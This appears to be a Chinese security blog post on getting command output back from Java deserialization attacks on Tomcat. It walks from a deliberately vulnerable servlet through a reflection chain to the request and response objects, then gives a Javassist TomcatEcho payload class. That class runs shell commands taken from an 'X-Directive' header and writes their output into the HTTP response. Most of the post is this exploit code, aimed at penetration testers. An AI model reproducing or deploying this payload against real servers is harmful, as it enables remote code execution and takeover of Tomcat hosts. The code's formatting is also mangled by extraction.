51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

Java反序列化回显学习之Tomcat通用回显


前言

反序列化命令回显和内存马是反序列化漏洞的具体实现,在渗透过程中主要依靠这两种方式来获取目标权限。因此,这是在学习Java反序列化漏洞过程中绕不开的两个点。由于在实战中遇到的环境都是不可预测的,对于渗透从业者来说就要学习各种中间件的回显方式和内存马注入方法。常用的Java反序列化回显的本质上是利用Java反序列化漏洞在服务器上执行Java代码获取Request、Response对象并将命令执行的接口写入返回给请求端。

反序列化回显

Java反序列化回显的方式有多种,比如中间件回显、写文件(css、js、txt等)、报错回显等等。其中,通过获取request对象来实现命令执行的回显方式是目前最为通用和弊端最少的方式。基本思路如下:第一步:寻找存储request对象的全局变量 Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()或Thread.getThreads()获取。第二步:半自动化反射搜索全局变量 这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型,若包含以下关键字可认为是我们要寻找的request对象。要实现以上的过程需要有相当扎实的代码基础和调试阅读能力,因此推荐一款Java内存对象搜索工具 java-object-searcher 。通过此工具可以快速方便的找到可利用request对象。

Tomcat通用回显

挖掘回显链

环境搭建参考:https://www.cnblogs.com/kibana/p/16084787.html,本次实验环境为JDK1.8、Tomcat8.5.50、idea2020.1,本地搭建环境 后使用 java-object-searcher 搜 索可用request对象,所编写的demo在tomcat7/8上实验通过。给出一个测试例子,在执行反序列化操作处打断点使用java-object-searcher半自动搜索获取利用链。

                  package
             com.webtest;
            

            

            
              import
            
             javax.servlet.http.HttpServlet;
            

            
              import
            
             javax.servlet.http.HttpServletRequest;
            

            
              import
            
             javax.servlet.http.HttpServletResponse;
            

            
              import
            
             java.io.IOException;
            

            
              import
            
             java.io.InputStream;
            

            
              import
            
             java.io.ObjectInputStream;
            

            

            
              public
            
             
            
              class
            
             
            
              HelloTest
            
             
            
              extends
            
             
            
              HttpServlet
            
             {
            

                
            
              @Override
            
            

                
            
              protected
            
             
            
              void
            
             
            
              doGet
            
            (HttpServletRequest req, HttpServletResponse resp) 
            
              throws
            
             IOException {
            

                    
            
              InputStream
            
             
            
              is
            
             
            
              =
            
             req.getInputStream();
            

                    
            
              ObjectInputStream
            
             
            
              ois
            
             
            
              =
            
             
            
              new
            
             
            
              ObjectInputStream
            
            (is);
            

                    
            
              try
            
             {
            

                        ois.readObject();
            

                    } 
            
              catch
            
             (ClassNotFoundException e) {
            

                        e.printStackTrace();
            

                    }
            

                }
            

                
            
              @Override
            
            

                
            
              protected
            
             
            
              void
            
             
            
              doPost
            
            (HttpServletRequest req,HttpServletResponse resp) 
            
              throws
            
             IOException {
            

                    
            
              InputStream
            
             
            
              is
            
             
            
              =
            
             req.getInputStream();
            

                    
            
              ObjectInputStream
            
             
            
              ois
            
             
            
              =
            
             
            
              new
            
             
            
              ObjectInputStream
            
            (is);
            

                    
            
              try
            
             {
            

                        ois.readObject();
            

                    } 
            
              catch
            
             (ClassNotFoundException e) {
            

                        e.printStackTrace();
            

                    }
            

                }
            

            }

设置筛选条件如下。

                  //设置搜索类型包含Request关键字的对象
            List<Keyword> keys = 
            
              new
            
             
            
              ArrayList
            
            <>();
            

            keys.add(
            
              new
            
             
            
              Keyword
            
            .Builder().setField_type(
            
              "Request"
            
            ).build());
            

            
              //定义黑名单
            
            

            List<Blacklist> blacklists = 
            
              new
            
             
            
              ArrayList
            
            <>();
            

            blacklists.add(
            
              new
            
             
            
              Blacklist
            
            .Builder().setField_type(
            
              "java.io.File"
            
            ).build());
            

            
              //新建一个广度优先搜索Thread.currentThread()的搜索器
            
            

            
              SearchRequstByBFS
            
             
            
              searcher
            
             
            
              =
            
             
            
              new
            
             
            
              SearchRequstByBFS
            
            (Thread.currentThread(),keys);
            

            
              // 设置黑名单
            
            

            searcher.setBlacklists(blacklists);
            

            
              //打开调试模式,会生成log日志
            
            

            searcher.setIs_debug(
            
              true
            
            );
            

            
              //挖掘深度为20
            
            

            searcher.setMax_search_depth(
            
              20
            
            );
            

            
              //设置报告保存位置
            
            

            searcher.setReport_save_path(
            
              "D:\apache-tomcat-7.0.94\bin"
            
            );
            

            searcher.searchObject();

在搜索出的利用链中选择一个进行跟进分析。

                TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
                ---> group = {java.lang.ThreadGroup} 
            

                    ---> threads = {class [Ljava.lang.Thread;} 
            

                        ---> [16] = {java.lang.Thread} 
            

                            ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
            

                                ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
            

                                    ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} 
            

                                        ---> global = {org.apache.coyote.RequestGroupInfo}

通过不断的反射调用最终来到global

                  Thread
              thread
            
             
            
              =
            
             Thread.currentThread();
            

            
              ThreadGroup
            
             
            
              group
            
             
            
              =
            
             thread.getThreadGroup();
            

            Thread[] threads = group.threads;
            

            
              Thread
            
             
            
              t
            
             
            
              =
            
             threads[
            
              14
            
            ];
            

            
              Field
            
             
            
              f
            
             
            
              =
            
             t.getClass().getDeclaredField(
            
              "target"
            
            );
            

            f.setAccessible(
            
              true
            
            );
            

            
              Object
            
             
            
              target
            
             
            
              =
            
             f.get(t);
            

            f = target.getClass().getDeclaredField(
            
              "this$0"
            
            );
            

            f.setAccessible(
            
              true
            
            );
            

            
              Object
            
             
            
              this$0
            
             
            
              =
            
             f.get(target);
            

            
              try
            
            {
            

                f = 
            
              this
            
            $
            
              0.
            
            getClass().getDeclaredField(
            
              "handler"
            
            );  
            

            }
            
              catch
            
            (NoSuchFieldException e){
            

                f = 
            
              this
            
            $
            
              0.
            
            getClass().getSuperclass().getSuperclass().getDeclaredField(
            
              "handler"
            
            );
            

            }
            

            f.setAccessible(
            
              true
            
            );
            

            
              Object
            
             
            
              handler
            
             
            
              =
            
             f.get(
            
              this
            
            $
            
              0
            
            );
            

            f = handler.getClass().getDeclaredField(
            
              "global"
            
            );
            

            f.setAccessible(
            
              true
            
            );
            

            
              Object
            
             
            
              global
            
             
            
              =
            
             f.get(handler);

进而往下可以找到想要的Request对象。

根据利用链获取Request对象获取请求header头特定内容并打印输出。

                  package
             com.webtest;
            

            

            
              import
            
             javax.servlet.annotation.WebServlet;
            

            
              import
            
             javax.servlet.http.HttpServlet;
            

            
              import
            
             javax.servlet.http.HttpServletRequest;
            

            
              import
            
             javax.servlet.http.HttpServletResponse;
            

            

            

            

            

            
              /*
              

              * TargetObject = {org.apache.tomcat.util.threads.TaskThread}
              

                ---> group = {java.lang.ThreadGroup}
              

                 ---> threads = {class [Ljava.lang.Thread;}
              

                  ---> [16] = {java.lang.Thread}
              

                   ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
              

                    ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
              

                       ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
              

                        ---> global = {org.apache.coyote.RequestGroupInfo}
              

                        * */
            
            

            

            
              @WebServlet("/demo")
            
            

            
              public
            
             
            
              class
            
             
            
              TestDemo
            
             
            
              extends
            
             
            
              HttpServlet
            
             {
            

            

                
            
              @Override
            
            

                
            
              protected
            
             
            
              void
            
             
            
              doGet
            
            (HttpServletRequest request, HttpServletResponse response) {
            

                    
            

                    
            
              ThreadGroup
            
             
            
              group
            
             
            
              =
            
             java.lang.Thread.currentThread().getThreadGroup();
            

                    java.lang.reflect.
            
              Field
            
             
            
              f
            
             
            
              =
            
             
            
              null
            
            ;
            

                    
            
              Object
            
             
            
              obj
            
             
            
              =
            
             
            
              null
            
            ;
            

                    
            
              String
            
             
            
              flag
            
             
            
              =
            
             
            
              "hello world"
            
            ;
            

                    
            
              Boolean
            
             
            
              success
            
             
            
              =
            
             
            
              false
            
            ;
            

                    
            
              try
            
             {
            

                        f = group.getClass().getDeclaredField(
            
              "threads"
            
            );
            

                        f.setAccessible(
            
              true
            
            );
            

                        Thread[] threads = (Thread[]) f.get(group);
            

                        
            
              for
            
             (
            
              int
            
             
            
              i
            
             
            
              =
            
             
            
              0
            
            ; i < threads.length; i++) {
            

                            
            
              Thread
            
             
            
              t
            
             
            
              =
            
             threads[i];
            

                            
            
              if
            
             (t == 
            
              null
            
             ) 
            
              continue
            
            ;
            

                            
            
              if
            
             (t.getName().contains(
            
              "exec"
            
            ) || !t.getName().contains(
            
              "http"
            
            )) 
            
              continue
            
            ;
            

                            System.out.println(t.getName());
            

            

                            f = t.getClass().getDeclaredField(
            
              "target"
            
            );
            

                            f.setAccessible(
            
              true
            
            );
            

                            
            
              Object
            
             
            
              target
            
             
            
              =
            
             f.get(t);
            

                            System.out.println(target.getClass());
            

            

                            f = target.getClass().getDeclaredField(
            
              "this$0"
            
            );
            

                            f.setAccessible(
            
              true
            
            );
            

                            
            
              Object
            
             
            
              this$0
            
             
            
              =
            
             f.get(target);
            

                            System.out.println(
            
              this
            
            $
            
              0.
            
            getClass());
            

            

                            
            
              try
            
             {
            

                                f = 
            
              this
            
            $
            
              0.
            
            getClass().getDeclaredField(
            
              "handler"
            
            );
            

                            }
            
              catch
            
             (NoSuchFieldException e0){
            

                                f = 
            
              this
            
            $
            
              0.
            
            getClass().getSuperclass().getSuperclass().getDeclaredField(
            
              "handler"
            
            );
            

                            }
            

                            f.setAccessible(
            
              true
            
            );
            

                            
            
              Object
            
             
            
              handler
            
             
            
              =
            
             f.get(
            
              this
            
            $
            
              0
            
            );
            

            

                            f = handler.getClass().getDeclaredField(
            
              "global"
            
            );
            

                            f.setAccessible(
            
              true
            
            );
            

                            
            
              Object
            
             
            
              global
            
             
            
              =
            
             f.get(handler);
            

                            System.out.println(global.getClass());
            

            

                            f = global.getClass().getDeclaredField(
            
              "processors"
            
            );
            

                            f.setAccessible(
            
              true
            
            );
            

                            
            
              Object
            
             
            
              processors
            
             
            
              =
            
             f.get(global);
            

                            System.out.println(processors.getClass());
            

            

                            java.util.
            
              ArrayList
            
             
            
              processorList
            
             
            
              =
            
             (java.util.ArrayList) processors;
            

                            
            
              for
            
             (
            
              int
            
             
            
              j
            
             
            
              =
            
             
            
              0
            
            ; j < processorList.size(); j++) {
            

                                
            
              Object
            
             
            
              processor
            
             
            
              =
            
             processorList.get(j);
            

                                System.out.println(processor.getClass());
            

                                f = processor.getClass().getDeclaredField(
            
              "req"
            
            );
            

                                f.setAccessible(
            
              true
            
            );
            

                                
            
              Object
            
             
            
              req
            
             
            
              =
            
             f.get(processor);
            

                                System.out.println(req.getClass());
            

                                
            
              Object
            
             
            
              resp
            
             
            
              =
            
             req.getClass().getMethod(
            
              "getResponse"
            
            ).invoke(req);
            

                                System.out.println(resp.getClass());
            

                                flag = (String) req.getClass().getMethod(
            
              "getHeader"
            
            ,
            
              new
            
             
            
              Class
            
            []{String.class}).invoke(req,
            
              new
            
             
            
              Object
            
            []{
            
              "wuhunantong"
            
            });
            

            

                                
            
              if
            
             (flag != 
            
              null
            
             && !flag.isEmpty()){
            

                                    
            
              try
            
             {
            

                                        
            
              Class
            
             
            
              cls
            
             
            
              =
            
             Class.forName(
            
              "org.apache.tomcat.util.buf.ByteChunk"
            
            );
            

                                        obj = cls.newInstance();
            

                                        cls.getDeclaredMethod(
            
              "setBytes"
            
            , 
            
              byte
            
            [].class, 
            
              int
            
            .class, 
            
              int
            
            .class).invoke(obj,flag.getBytes(),
            
              new
            
             
            
              Integer
            
            (
            
              0
            
            ),
            
              new
            
             
            
              Integer
            
            (flag.getBytes().length));
            

            

                                        resp.getClass().getDeclaredMethod(
            
              "setStatus"
            
            ,
            
              new
            
             
            
              Class
            
            []{Integer.TYPE}).invoke(resp,
            
              new
            
             
            
              Object
            
            []{
            
              new
            
             
            
              Integer
            
            (
            
              404
            
            )});
            

                                        resp.getClass().getDeclaredMethod(
            
              "setHeader"
            
            ,
            
              new
            
             
            
              Class
            
            []{String.class,String.class}).invoke(resp,
            
              new
            
             
            
              Object
            
            []{
            
              "flag"
            
            ,
            
              "1"
            
            });
            

                                        resp.getClass().getDeclaredMethod(
            
              "doWrite"
            
            ,
            
              new
            
             
            
              Class
            
            []{cls}).invoke(resp,
            
              new
            
             
            
              Object
            
            []{obj});
            

            

                                    }
            
              catch
            
             (ClassNotFoundException e1){
            

                                        
            
              Class
            
             
            
              cls
            
             
            
              =
            
             Class.forName(
            
              "java.nio.ByteBuffer"
            
            );
            

                                        obj = cls.getDeclaredMethod(
            
              "wrap"
            
            , 
            
              new
            
             
            
              Class
            
            []{
            
              byte
            
            [].class}).invoke(cls, 
            
              new
            
             
            
              Object
            
            []{flag.getBytes()});
            

                                        resp.getClass().getDeclaredMethod(
            
              "setStatus"
            
            ,
            
              new
            
             
            
              Class
            
            []{Integer.TYPE}).invoke(resp,
            
              new
            
             
            
              Object
            
            []{
            
              new
            
             
            
              Integer
            
            (
            
              404
            
            )});
            

                                        resp.getClass().getDeclaredMethod(
            
              "setHeader"
            
            ,
            
              new
            
             
            
              Class
            
            []{String.class,String.class}).invoke(resp,
            
              new
            
             
            
              Object
            
            []{
            
              "flag"
            
            ,
            
              "1"
            
            });
            

                                        resp.getClass().getMethod(
            
              "doWrite"
            
            , 
            
              new
            
             
            
              Class
            
            []{cls}).invoke(resp, 
            
              new
            
             
            
              Object
            
            []{obj});
            

                                    }
            

                                    success = 
            
              true
            
            ;
            

                                }
            

                                
            
              if
            
             (success) 
            
              break
            
            ;
            

                            }
            

                            
            
              if
            
             (success) 
            
              break
            
            ;
            

                        }
            

                    } 
            
              catch
            
             (Exception  e) {
            

            

                    }
            

                }
            

            }

适配反序列化利用链

TomcatEcho.java:利用javassit动态生成回显类

                  package
             util.exploit.templates;
            

            

            

            

            
              import
            
             java.io.IOException;
            

            
              import
            
             javassist.CannotCompileException;
            

            
              import
            
             javassist.ClassClassPath;
            

            
              import
            
             javassist.ClassPool;
            

            
              import
            
             javassist.CtClass;
            

            
              import
            
             javassist.CtMethod;
            

            
              import
            
             javassist.CtNewConstructor;
            

            
              import
            
             javassist.NotFoundException;
            

            
              import
            
             org.apache.xalan.xsltc.runtime.AbstractTranslet;
            

            

            

            
              public
            
             
            
              class
            
             
            
              TomcatEcho
            
             {
            

                
            
              public
            
             
            
              static
            
             
            
              byte
            
            [] getBytes() 
            
              throws
            
             CannotCompileException, NotFoundException, IOException {
            

                    
            
              ClassPool
            
             
            
              pool
            
             
            
              =
            
             ClassPool.getDefault();
            

            

                    pool.insertClassPath(
            
              new
            
             
            
              ClassClassPath
            
            (AbstractTranslet.class));
            

            

                    
            
              String
            
             
            
              className
            
             
            
              =
            
             
            
              "TnT"
            
             + System.nanoTime();
            

                    
            
              CtClass
            
             
            
              ctClass
            
             
            
              =
            
             pool.makeClass(className);
            

            

                    ctClass.addMethod(CtMethod.make(
            
              "private static void writeBody(Object var0, byte[] var1) throws Exception {n        Object var2;n        Class var3;n        try {n            var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");n            var2 = var3.newInstance();n            var3.getDeclaredMethod("setBytes", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE}).invoke(var2, new Object[]{var1, new Integer(0), new Integer(var1.length)});n            var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});n        } catch (NoSuchMethodException var5) {n            var3 = Class.forName("java.nio.ByteBuffer");n            var2 = var3.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(var3, new Object[]{var1});n            var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});n        }n    }"
            
            , ctClass));
            

            

            

                    ctClass.addMethod(CtMethod.make(
            
              "private static Object getFV(Object var0, String var1) throws Exception {n        java.lang.reflect.Field var2 = null;n        Class var3 = var0.getClass();nn        while(var3 != Object.class) {n            try {n                var2 = var3.getDeclaredField(var1);n                break;n            } catch (NoSuchFieldException var5) {n                var3 = var3.getSuperclass();n            }n        }nn        if (var2 == null) {n            throw new NoSuchFieldException(var1);n        } else {n            var2.setAccessible(true);n            return var2.get(var0);n        }n    }"
            
            , ctClass));
            

            

            

                    ctClass.addConstructor(CtNewConstructor.make(
            
              "public "
            
             + className + 
            
              "() throws Exception {n        boolean var4 = false;n        Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");nn        for(int var6 = 0; var6 < var5.length; ++var6) {n            Thread var7 = var5[var6];n            if (var7 != null) {n                String var3 = var7.getName();n                if (!var3.contains("exec") && var3.contains("http")) {n                    Object var1 = getFV(var7, "target");n                    if (var1 instanceof Runnable) {n                        try {n                            var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");n                        } catch (Exception var13) {n                            continue;n                        }nn                        java.util.List var9 = (java.util.List)getFV(var1, "processors");nn                        for(int var10 = 0; var10 < var9.size(); ++var10) {n                            Object var11 = var9.get(var10);n                            var1 = getFV(var11, "req");n                            Object var2 = var1.getClass().getMethod("getResponse", new Class[0]).invoke(var1, new Object[0]);n                            var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"X-Test"});n                            if (var3 != null && !var3.isEmpty()) {n                                var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});n                                var2.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(var2, new Object[]{"X-Test", var3});n                                var4 = true;n                            }nn                            var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"X-Directive"});n                            if (var3 != null && !var3.isEmpty()) {n                                var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});n                                String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};n                                writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());n                                var4 = true;n                            }nn                            var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"showpath"});n                            if (var3 != null && !var3.isEmpty()) {n                                var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});n                                writeBody(var2, Thread.currentThread().getContextClassLoader().getResource("").getPath().getBytes());n                                var4 = true;n                            }nn                            if (var4) break;n                        }nn                        if (var4) break;n                    }n                }n            }n        }n    }"
            
            , ctClass));
            

            

            

                    
            
              CtClass
            
             
            
              superC
            
             
            
              =
            
             pool.get(AbstractTranslet.class.getName());
            

                    ctClass.setSuperclass(superC);
            

            

            

                    ctClass.getClassFile().setMajorVersion(
            
              50
            
            );
            

            

                    
            
              return
            
             ctClass.toBytecode();
            

                }
            

            }

修改payload.java

修改Gadget.java#creatTemplatesImpl 添加回显支持

本地测试可以正常得到执行回显结果。

参考链接

https://github.com/feihong-cs/Java-Rce-Echo/ https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

本文作者: TideSec

本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/200930.html

赞(0)
未经允许不得转载:工具盒子 » Java反序列化回显学习之Tomcat通用回显